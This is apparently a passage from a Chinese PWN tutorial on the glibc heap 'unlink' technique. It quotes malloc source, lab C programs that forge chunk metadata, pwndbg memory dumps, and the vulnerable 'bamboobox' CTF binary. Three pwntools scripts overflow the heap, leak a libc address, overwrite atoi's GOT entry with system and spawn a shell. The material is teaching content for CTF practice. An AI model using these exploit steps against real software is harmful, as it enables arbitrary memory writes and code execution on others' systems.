0x10--->0001 0000
0x18--->0001 1000
0x20--->0010 0000

struct malloc_state
{
  /* Serialize access.  */
  mutex_t mutex;
  /* Flags (formerly in max_fast).  */
  int flags;
  /* Fastbins */
  mfastbinptr fastbinsY[NFASTBINS];
  /* Base of the topmost chunk -- not otherwise kept in a bin */
  mchunkptr top;
  /* The remainder from the most recent split of a small request */
  mchunkptr last_remainder;
  /* Normal bins packed as described above */
  mchunkptr bins[NBINS * 2 - 2];
  /* Bitmap of bins */
  unsigned int binmap[BINMAPSIZE];
  /* Linked list */
  struct malloc_state *next;
  /* Linked list for free arenas.  Access to this field is serialized
     by free_list_lock in arena.c.  */
  struct malloc_state *next_free;
  /* Number of threads attached to this arena.  0 if the arena is on
     the free list.  Access to this field is serialized by
     free_list_lock in arena.c.  */
  INTERNAL_SIZE_T attached_threads;
  /* Memory allocated from the system in this arena.  */
  INTERNAL_SIZE_T system_mem;
  INTERNAL_SIZE_T max_system_mem;
};

static struct malloc_state main_arena =
{
  .mutex = _LIBC_LOCK_INITIALIZER,
  .next = &main_arena,
  .attached_threads = 1
};

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
long long int a[100];
int main() {
    long long int *p1 = malloc(0x100);
    long long int *pp = malloc(0x100);
    long long int *p2 = malloc(0x100);
    long long int *p3 = malloc(0x100);
    free(p1);
    free(p2);
    free(p3);
    return 0;
}
# gcc -o unlink_64 unlink_64.c -fno-stack-protector -z execstack

#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<string.h>
#include<unistd.h>
long long int a[100];
int main(){
        long long int *p1 = malloc(0x100);
        long long int *pp = malloc(0x100);
        long long int *p2 = malloc(0x100);
        long long int *p3 = malloc(0x100);
        long long int *p4 = malloc(0x100);
        free(p1);
        free(p2);
        free(p3);
        free(p4);
        return 0;
}
// gcc -o lab_3 lab_3.c -fno-stack-protector -z execstack

#define unlink(AV, P, BK, FD) {                                            
    FD = P->fd;								      
    BK = P->bk;								      
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  
    else {								      
        FD->bk = BK;							      
        BK->fd = FD;							      
        if (!in_smallbin_range(P->size)&& __builtin_expect (P->fd_nextsize != NULL, 0)) 
        {		      
        	if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)	      
            || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    
         		 malloc_printerr (check_action,"corrupted double-linked list (not small)",P, AV);		
            if (FD->fd_nextsize == NULL)
            {				      
                   if (P->fd_nextsize == P)				      
                      FD->fd_nextsize = FD->bk_nextsize = FD;		      
                else
                {							      
                    FD->fd_nextsize = P->fd_nextsize;			      
                    FD->bk_nextsize = P->bk_nextsize;			      
                    P->fd_nextsize->bk_nextsize = FD;			      
                    P->bk_nextsize->fd_nextsize = FD;			      
                 }							      
             } 
            else 
            {							      
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;		      
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;		      
            }								      
          }								      
      }									      
}

FD = P->fd
BK = P->bk

FD->bk = BK;							      
BK->fd = FD;							      

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      
   malloc_printerr (check_action, "corrupted double-linked list", P, AV);

    /* consolidate backward */   /**/
    if (!prev_inuse(p)) {
      prevsize = p->prev_size;
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(av, p, bck, fwd);
    }
    if (nextchunk != av->top) {
      /* get and clear inuse bit */
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
      /* consolidate forward */   /*后向合并*/
      if (!nextinuse) {
    unlink(av, nextchunk, bck, fwd);
    size += nextsize;
      } else
    clear_inuse_bit_at_offset(nextchunk, 0);

static void malloc_consolidate(mstate av)
{
  mfastbinptr*    fb;                 /* current fastbin being consolidated */
  mfastbinptr*    maxfb;              /* last fastbin (for loop control) */
  mchunkptr       p;                  /* current chunk being consolidated */
  mchunkptr       nextp;              /* next chunk to consolidate */
  mchunkptr       unsorted_bin;       /* bin header */
  mchunkptr       first_unsorted;     /* chunk to link to */
  /* These have same use as in free() */
  mchunkptr       nextchunk;
  INTERNAL_SIZE_T size;
  INTERNAL_SIZE_T nextsize;
  INTERNAL_SIZE_T prevsize;
  int             nextinuse;
  mchunkptr       bck;
  mchunkptr       fwd;
  /*
    If max_fast is 0, we know that av hasn't
    yet been initialized, in which case do so below
  */
  if (get_max_fast () != 0) {
    clear_fastchunks(av);
    unsorted_bin = unsorted_chunks(av);
    /*
      Remove each chunk from fast bin and consolidate it, placing it
      then in unsorted bin. Among other reasons for doing this,
      placing in unsorted bin avoids needing to calculate actual bins
      until malloc is sure that chunks aren't immediately going to be
      reused anyway.
    */
    maxfb = &fastbin (av, NFASTBINS - 1);
    fb = &fastbin (av, 0);
    do {
      p = atomic_exchange_acq (fb, 0);
      if (p != 0) {
    do {
      check_inuse_chunk(av, p);
      nextp = p->fd;
      /* Slightly streamlined version of consolidation code in free() */
      size = p->size & ~(PREV_INUSE|NON_MAIN_ARENA);
      nextchunk = chunk_at_offset(p, size);
      nextsize = chunksize(nextchunk);
      if (!prev_inuse(p)) {
        prevsize = p->prev_size;
        size += prevsize;
        p = chunk_at_offset(p, -((long) prevsize));
        unlink(av, p, bck, fwd);
      }
      if (nextchunk != av->top) {
        nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
        if (!nextinuse) {
          size += nextsize;
          unlink(av, nextchunk, bck, fwd);
        } else
          clear_inuse_bit_at_offset(nextchunk, 0);
        first_unsorted = unsorted_bin->fd;
        unsorted_bin->fd = p;
        first_unsorted->bk = p;
        if (!in_smallbin_range (size)) {
          p->fd_nextsize = NULL;
          p->bk_nextsize = NULL;
        }
        set_head(p, size | PREV_INUSE);
        p->bk = unsorted_bin;
        p->fd = first_unsorted;
        set_foot(p, size);
      }
      else {
        size += nextsize;
        set_head(p, size | PREV_INUSE);
        av->top = p;
      }
    } while ( (p = nextp) != 0);
      }
    } while (fb++ != maxfb);
  }
  else {
    malloc_init_state(av);
    check_malloc_state(av);
  }
}

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
long long unsigned int* a[100];
int main()
{
    long long unsigned int *p1, *p2, *p3, target;
    target = (long long unsigned int)&a[5];  // 目标地址（用于任意地址写入）
    printf("target:%p\n%p\n%p\n",target,target - 0x18,target - 0x10);
    a[0] = (void*)0x0;
    a[1] = (void*)0x110;
    // 分配堆块
    malloc(0x20);
    p1 = malloc(0x100);
    p2 = malloc(0x100);
    p3 = malloc(0x100);
    a[5] = p1;
    printf("beforefree:a[5]: %p\n",a[5]);
    printf("p1: %p\n", p1);
    // 伪造 p1 的堆块元数据
    p1[0] = 0x0;   // prev_size
    p1[1] = 0x101; // size
    // 伪造 fd 和 bk，使其形成合法的链表
    p1[2] = (long long unsigned int)(target - 0x18);  // fd，指向目标地址
    p1[3] = (long long unsigned int)(target - 0x10);  // bk，指向目标地址
    // read(0,p1+0x20,0x90);
    // 调整 p2 的堆块元数据，符合堆管理器的期望格式
    p2[-2] = 0x100;  // prev_size
    p2[-1] = 0x110;  // size
    // 释放 p2，触发 unlink 漏洞
    free(p2);
    // 验证目标地址是否被覆盖
    printf("afterfree:a[5]: %p\n",a[5]);
    return 0;
}
//  gcc -o lab_7 lab_7.c -fno-stack-protector -z execstack -z norelro -fno-builtin

 0x7f3ac4ad8fe0 <_int_free+640>   ✔ jne    _int_free+2048                <_int_free+2048>

pwndbg> x/20gx 0x600b10-0x20
0x600af0:       0x0000000000000000      0x0000000000000000
0x600b00 <a>:   0x0000000000000000      0x0000000000000000
0x600b10 <a+16>:        0x0000000000000000      0x0000000000000000
0x600b20 <a+32>:        0x0000000000000000      0x0000000000600b10
0x600b30 <a+48>:        0x0000000000000000      0x0000000000000000
0x600b40 <a+64>:        0x0000000000000000      0x0000000000000000
0x600b50 <a+80>:        0x0000000000000000      0x0000000000000000
0x600b60 <a+96>:        0x0000000000000000      0x0000000000000000
0x600b70 <a+112>:       0x0000000000000000      0x0000000000000000
0x600b80 <a+128>:       0x0000000000000000      0x0000000000000000
pwndbg> unsorted
unsortedbin
empty

   0x7f18ae011f71 <_int_free+529>     cmp    rbx, qword ptr [rdx + 0x10]
   0x7f18ae011f75 <_int_free+533>     jne    _int_free+3034                <_int_free+3034>
   0x7f18ae011f7b <_int_free+539>     cmp    qword ptr [rbx + 8], 0x3ff
   0x7f18ae011f83 <_int_free+547>     mov    qword ptr [rax + 0x18], rdx
 ► 0x7f18ae011f87 <_int_free+551>     mov    qword ptr [rdx + 0x10], rax
   0x7f18ae011f8b <_int_free+555>     jbe    _int_free+624                <_int_free+624>
pwndbg> bins
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty

FD = P->fd
BK = P->bk
// 此时P为p2指向的堆块
// 由于是consolidate backward，所以在调用unlink前，P会被跟新为fake_chunk
// 故在unlink的时候P是指向fake_chunk的

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);

FD->bk = BK;							      
BK->fd = FD;	

static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
  INTERNAL_SIZE_T size;        /* its size */
  mfastbinptr *fb;             /* associated fastbin */
  mchunkptr nextchunk;         /* next contiguous chunk */
  INTERNAL_SIZE_T nextsize;    /* its size */
  int nextinuse;               /* true if nextchunk is used */
  INTERNAL_SIZE_T prevsize;    /* size of previous contiguous chunk */
  mchunkptr bck;               /* misc temp for linking */
  mchunkptr fwd;               /* misc temp for linking */
  const char *errstr = NULL;
  int locked = 0;
  size = chunksize (p);
  /* Little security check which won't hurt performance: the
     allocator never wrapps around at the end of the address space.
     Therefore we can exclude some size values which might appear
     here by accident or by "design" from some intruder.  */
  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
      || __builtin_expect (misaligned_chunk (p), 0))
    {
      errstr = "free(): invalid pointer";
    errout:
      if (!have_lock && locked)
        (void) mutex_unlock (&av->mutex);
      malloc_printerr (check_action, errstr, chunk2mem (p), av);
      return;
    }
  /* We know that each chunk is at least MINSIZE bytes in size or a
     multiple of MALLOC_ALIGNMENT.  */
  if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
    {
      errstr = "free(): invalid size";
      goto errout;
    }
  check_inuse_chunk(av, p);
  /*
    If eligible, place chunk on a fastbin so it can be found
    and used quickly in malloc.
  */
  if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
#if TRIM_FASTBINS
      /*
    If TRIM_FASTBINS set, don't place chunks
    bordering top into fastbins
      */
      && (chunk_at_offset(p, size) != av->top)
#endif
      ) {
    if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
    || __builtin_expect (chunksize (chunk_at_offset (p, size))
                 >= av->system_mem, 0))
      {
    /* We might not have a lock at this point and concurrent modifications
       of system_mem might have let to a false positive.  Redo the test
       after getting the lock.  */
    if (have_lock
        || ({ assert (locked == 0);
          mutex_lock(&av->mutex);
          locked = 1;
          chunk_at_offset (p, size)->size <= 2 * SIZE_SZ
            || chunksize (chunk_at_offset (p, size)) >= av->system_mem;
          }))
      {
        errstr = "free(): invalid next size (fast)";
        goto errout;
      }
    if (! have_lock)
      {
        (void)mutex_unlock(&av->mutex);
        locked = 0;
      }
      }
    free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);
    set_fastchunks(av);
    unsigned int idx = fastbin_index(size);
    fb = &fastbin (av, idx);
    /* Atomically link P to its fastbin: P->FD = *FB; *FB = P;  */
    mchunkptr old = *fb, old2;
    unsigned int old_idx = ~0u;
    do
      {
    /* Check that the top of the bin is not the record we are going to add
       (i.e., double free).  */
    if (__builtin_expect (old == p, 0))
      {
        errstr = "double free or corruption (fasttop)";
        goto errout;
      }
    /* Check that size of fastbin chunk at the top is the same as
       size of the chunk that we are adding.  We can dereference OLD
       only if we have the lock, otherwise it might have already been
       deallocated.  See use of OLD_IDX below for the actual check.  */
    if (have_lock && old != NULL)
      old_idx = fastbin_index(chunksize(old));
    p->fd = old2 = old;
      }
    while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);
    if (have_lock && old != NULL && __builtin_expect (old_idx != idx, 0))
      {
    errstr = "invalid fastbin entry (free)";
    goto errout;
      }
  }
  /*
    Consolidate other non-mmapped chunks as they arrive.
  */
  else if (!chunk_is_mmapped(p)) {
    if (! have_lock) {
      (void)mutex_lock(&av->mutex);
      locked = 1;
    }
    nextchunk = chunk_at_offset(p, size);
    /* Lightweight tests: check whether the block is already the
       top block.  */
    if (__glibc_unlikely (p == av->top))
      {
    errstr = "double free or corruption (top)";
    goto errout;
      }
    /* Or whether the next chunk is beyond the boundaries of the arena.  */
    if (__builtin_expect (contiguous (av)
              && (char *) nextchunk
              >= ((char *) av->top + chunksize(av->top)), 0))
      {
    errstr = "double free or corruption (out)";
    goto errout;
      }
    /* Or whether the block is actually not marked used.  */
    if (__glibc_unlikely (!prev_inuse(nextchunk)))
      {
    errstr = "double free or corruption (!prev)";
    goto errout;
      }
    nextsize = chunksize(nextchunk);
    if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0)
    || __builtin_expect (nextsize >= av->system_mem, 0))
      {
    errstr = "free(): invalid next size (normal)";
    goto errout;
      }
    free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);
    /* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = p->prev_size;
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(av, p, bck, fwd);
    }
    if (nextchunk != av->top) {
      /* get and clear inuse bit */
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
      /* consolidate forward */
      if (!nextinuse) {
    unlink(av, nextchunk, bck, fwd);
    size += nextsize;
      } else
    clear_inuse_bit_at_offset(nextchunk, 0);
      /*
    Place the chunk in unsorted chunk list. Chunks are
    not placed into regular bins until after they have
    been given one chance to be used in malloc.
      */
      bck = unsorted_chunks(av);
      fwd = bck->fd;
      if (__glibc_unlikely (fwd->bk != bck))
    {
      errstr = "free(): corrupted unsorted chunks";
      goto errout;
    }
      p->fd = fwd;
      p->bk = bck;
      if (!in_smallbin_range(size))
    {
      p->fd_nextsize = NULL;
      p->bk_nextsize = NULL;
    }
      bck->fd = p;
      fwd->bk = p;
      set_head(p, size | PREV_INUSE);
      set_foot(p, size);
      check_free_chunk(av, p);
    }
    /*
      If the chunk borders the current high end of memory,
      consolidate into top
    */
    else {
      size += nextsize;
      set_head(p, size | PREV_INUSE);
      av->top = p;
      check_chunk(av, p);
    }
    /*
      If freeing a large space, consolidate possibly-surrounding
      chunks. Then, if the total unused topmost memory exceeds trim
      threshold, ask malloc_trim to reduce top.
      Unless max_fast is 0, we don't know if there are fastbins
      bordering top, so we cannot tell for sure whether threshold
      has been reached unless fastbins are consolidated.  But we
      don't want to consolidate on each free.  As a compromise,
      consolidation is performed if FASTBIN_CONSOLIDATION_THRESHOLD
      is reached.
    */
    if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) {
      if (have_fastchunks(av))
    malloc_consolidate(av);
      if (av == &main_arena) {
#ifndef MORECORE_CANNOT_TRIM
    if ((unsigned long)(chunksize(av->top)) >=
        (unsigned long)(mp_.trim_threshold))
      systrim(mp_.top_pad, av);
#endif
      } else {
    /* Always try heap_trim(), even if the top chunk is not
       large, because the corresponding heap might go away.  */
    heap_info *heap = heap_for_ptr(top(av));
    assert(heap->ar_ptr == av);
    heap_trim(heap, mp_.top_pad);
      }
    }
    if (! have_lock) {
      assert (locked);
      (void)mutex_unlock(&av->mutex);
    }
  }
  /*
    If the chunk was allocated via mmap, release via munmap().
  */
  else {
    munmap_chunk (p);
  }
}

// gcc bamboobox.c -o bamboobox
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
struct item{
    int size ;
    char *name ;
};
struct item itemlist[100] = {0}; 
int num ;
void hello_message(){
    puts("There is a box with magic");
    puts("what do you want to do in the box");
}
void goodbye_message(){
    puts("See you next time");
    puts("Thanks you");
}
struct box{
    void (*hello_message)();
    void (*goodbye_message)();
};
void menu(){
    puts("----------------------------");
    puts("Bamboobox Menu");
    puts("----------------------------");
    puts("1.show the items in the box");
    puts("2.add a new item");
    puts("3.change the item in the box");
    puts("4.remove the item in the box");
    puts("5.exit");
    puts("----------------------------");
    printf("Your choice:");
}
void show_item(){
    int i ;
    if(!num){
        puts("No item in the box");		
    }else{
        for(i = 0 ; i < 100; i++){
            if(itemlist[i].name){
                printf("%d : %s",i,itemlist[i].name);
            }
        }
        puts("");
    }
}
int add_item(){
    char sizebuf[8] ;
    int length ;
    int i ;
    int size ;
    if(num < 100){
        printf("Please enter the length of item name:");
        read(0,sizebuf,8);
        length = atoi(sizebuf);
        if(length == 0){
            puts("invaild length");
            return 0;
        }
        for(i = 0 ; i < 100 ; i++){
            if(!itemlist[i].name){
                itemlist[i].size = length ;
                itemlist[i].name = (char*)malloc(length);
                printf("Please enter the name of item:");
                size = read(0,itemlist[i].name,length);
                itemlist[i].name[size] = '\x00';
                num++;
                break;
            }
        }
        }else{
        puts("the box is full");
    }
    return 0;
}
void change_item(){
    char indexbuf[8] ;
    char lengthbuf[8];
    int length ;
    int index ;
    int readsize ;
    if(!num){
        puts("No item in the box");
    }else{
        printf("Please enter the index of item:");
        read(0,indexbuf,8);
        index = atoi(indexbuf);
        if(itemlist[index].name){
            printf("Please enter the length of item name:");
            read(0,lengthbuf,8);
            length = atoi(lengthbuf);
            printf("Please enter the new name of the item:");
            readsize = read(0,itemlist[index].name,length);
            *(itemlist[index].name + readsize) = '\x00';
        }else{
            puts("invaild index");
        }
            }	
}
void remove_item(){
    char indexbuf[8] ;
    int index ;
    if(!num){
        puts("No item in the box");
    }else{
        printf("Please enter the index of item:");
        read(0,indexbuf,8);
        index = atoi(indexbuf);
        if(itemlist[index].name){
            free(itemlist[index].name);
            itemlist[index].name = 0 ;
            itemlist[index].size = 0 ;
            puts("remove successful!!");
            num-- ;			
        }else{
            puts("invaild index");
        }
    }
}
void magic(){
    int fd ;
    char buffer[100];
    fd = open("/home/bamboobox/flag",O_RDONLY);
    read(fd,buffer,sizeof(buffer));
    close(fd);
    printf("%s",buffer);
    exit(0);
}
int main(){
        char choicebuf[8];
    int choice;
    struct box *bamboo ;
    setvbuf(stdout,0,2,0);
    setvbuf(stdin,0,2,0);
    bamboo = malloc(sizeof(struct box));
    bamboo->hello_message = hello_message;
    bamboo->goodbye_message = goodbye_message ;
    bamboo->hello_message();
    while(1){
        menu();
        read(0,choicebuf,8);
        choice = atoi(choicebuf);
        switch(choice){
            case 1:
                show_item();
                break;
            case 2:
                add_item();
                break;
            case 3:
                change_item();
                break;
            case 4:
                remove_item();
                break;
            case 5:
                bamboo->goodbye_message();
                exit(0);
                break;
            default:
                puts("invaild choice!!!");
                break;
                }	
    }
    return 0 ;
}

pwndbg> x/20gx 0x6020C0
0x6020c0 <itemlist>:    0x0000000000000032      0x0000000000c19030
0x6020d0 <itemlist+16>: 0x0000000000000000      0x0000000000000000
0x6020e0 <itemlist+32>: 0x0000000000000000      0x0000000000000000
0x6020f0 <itemlist+48>: 0x0000000000000000      0x0000000000000000
0x602100 <itemlist+64>: 0x0000000000000000      0x0000000000000000
0x602110 <itemlist+80>: 0x0000000000000000      0x0000000000000000
0x602120 <itemlist+96>: 0x0000000000000000      0x0000000000000000
0x602130 <itemlist+112>:        0x0000000000000000      0x0000000000000000
0x602140 <itemlist+128>:        0x0000000000000000      0x0000000000000000
0x602150 <itemlist+144>:        0x0000000000000000      0x0000000000000000

from pwn import *
context(log_level='debug')
p = process('./bamboobox')
def show():
    p.sendlineafter(b'Your choice:',b'1')
def add(lens,txt):
    p.sendlineafter(b'Your choice:',b'2')
    p.sendlineafter(b'Please enter the length of item name:',str(lens).encode('utf-8'))    p.sendlineafter(b'Please enter the name of item:',txt)
def change(index,lens,txt):
    p.sendlineafter(b'Your choice:',b'3')
    p.sendlineafter(b'Please enter the index of item:',str(index).encode('utf-8'))
    p.sendlineafter(b'Please enter the length of item name:',str(lens).encode('utf-8'))    p.sendafter(b'Please enter the new name of the item:',txt)
def remove(index):
    p.sendlineafter(b'Your choice:',b'4')
    p.sendlineafter(b'Please enter the index of item:',str(index).encode('utf-8'))
add(0x90,b'a'*0x8) # size = 0xa1
add(0x90,b'a'*0x8)
add(0x20,b'a'*0x8)
ptr = 0x6020C0+0x8
fake_fd = ptr - 0x18
fake_bk = ptr - 0x10
payload1 = p64(0x0)
payload1 += p64(0x91)
payload1 += p64(fake_fd)
payload1 += p64(fake_bk)
payload1 += b'a'*0x70
payload1 += p64(0x90)
payload1 += p64(0xa0)
#change(0,1,b'a')
change(0,len(payload1),payload1)
remove(1)
#gdb.attach(p)
p.interactive()

from pwn import *
context(log_level='debug')
p = process('./bamboobox')
def show():
    p.sendlineafter(b'Your choice:',b'1')
def add(lens,txt):
    p.sendlineafter(b'Your choice:',b'2')
    p.sendlineafter(b'Please enter the length of item name:',str(lens).encode('utf-8'))    p.sendlineafter(b'Please enter the name of item:',txt)
def change(index,lens,txt):
    p.sendlineafter(b'Your choice:',b'3')
    p.sendlineafter(b'Please enter the index of item:',str(index).encode('utf-8'))
    p.sendlineafter(b'Please enter the length of item name:',str(lens).encode('utf-8'))    p.sendafter(b'Please enter the new name of the item:',txt)
def remove(index):
    p.sendlineafter(b'Your choice:',b'4')
    p.sendlineafter(b'Please enter the index of item:',str(index).encode('utf-8'))
add(0x90,b'a'*0x8) # size = 0xa1
add(0x90,b'a'*0x8)
add(0x20,b'a'*0x8)
ptr = 0x6020C0+0x8
fake_fd = ptr - 0x18
fake_bk = ptr - 0x10
payload1 = p64(0x0)
payload1 += p64(0x91)
payload1 += p64(fake_fd)
payload1 += p64(fake_bk)
payload1 += b'a'*0x70
payload1 += p64(0x90)
payload1 += p64(0xa0)
#change(0,1,b'a')
change(0,len(payload1),payload1)
remove(1)
payload2 = b'a'*0x18
payload2 += p64(0x602068)
change(0,len(payload2),payload2)
show()
p.recvuntil(b'0 :')
atoi_addr = p.recvline()[1:7]
atoi_addr = int.from_bytes(atoi_addr,'little')
print('atoi_addr------->',hex(atoi_addr))
#gdb.attach(p)
p.interactive()

from pwn import *
context(log_level='debug')
p = process('./bamboobox')
def show():
    p.sendlineafter(b'Your choice:',b'1')
def add(lens,txt):
    p.sendlineafter(b'Your choice:',b'2')
    p.sendlineafter(b'Please enter the length of item name:',str(lens).encode('utf-8'))    p.sendlineafter(b'Please enter the name of item:',txt)
def change(index,lens,txt):
    p.sendlineafter(b'Your choice:',b'3')
    p.sendlineafter(b'Please enter the index of item:',str(index).encode('utf-8'))
    p.sendlineafter(b'Please enter the length of item name:',str(lens).encode('utf-8'))    p.sendafter(b'Please enter the new name of the item:',txt)
def remove(index):
    p.sendlineafter(b'Your choice:',b'4')
    p.sendlineafter(b'Please enter the index of item:',str(index).encode('utf-8'))
add(0x90,b'a'*0x8) # size = 0xa1
add(0x90,b'a'*0x8)
add(0x20,b'a'*0x8)
ptr = 0x6020C0+0x8
fake_fd = ptr - 0x18
fake_bk = ptr - 0x10
payload1 = p64(0x0)
payload1 += p64(0x91)
payload1 += p64(fake_fd)
payload1 += p64(fake_bk)
payload1 += b'a'*0x70
payload1 += p64(0x90)
payload1 += p64(0xa0)
#change(0,1,b'a')
change(0,len(payload1),payload1)
remove(1)
payload2 = b'a'*0x18
payload2 += p64(0x602068)
change(0,len(payload2),payload2)
show()
p.recvuntil(b'0 :')
atoi_addr = p.recvline()[1:7]
atoi_addr = int.from_bytes(atoi_addr,'little')
print('atoi_addr------->',hex(atoi_addr))
sys_addr = atoi_addr + 0x453a0 - 0x36e90
payload3 = p64(sys_addr)
change(0,len(payload3),payload3)
p.sendlineafter(b'Your choice:',b'/bin/sh\x00')
#gdb.attach(p)
p.interactive()

# 往期推荐

1、PWN入门：整数溢出

2、野蛮fuzz：持久性fuzz

3、修改PE导入表注入DLL——实例图文教程

4、【入门篇】Android漏洞挖掘，实战演示挖掘技巧

5、野蛮fuzz：深入了解代码覆盖率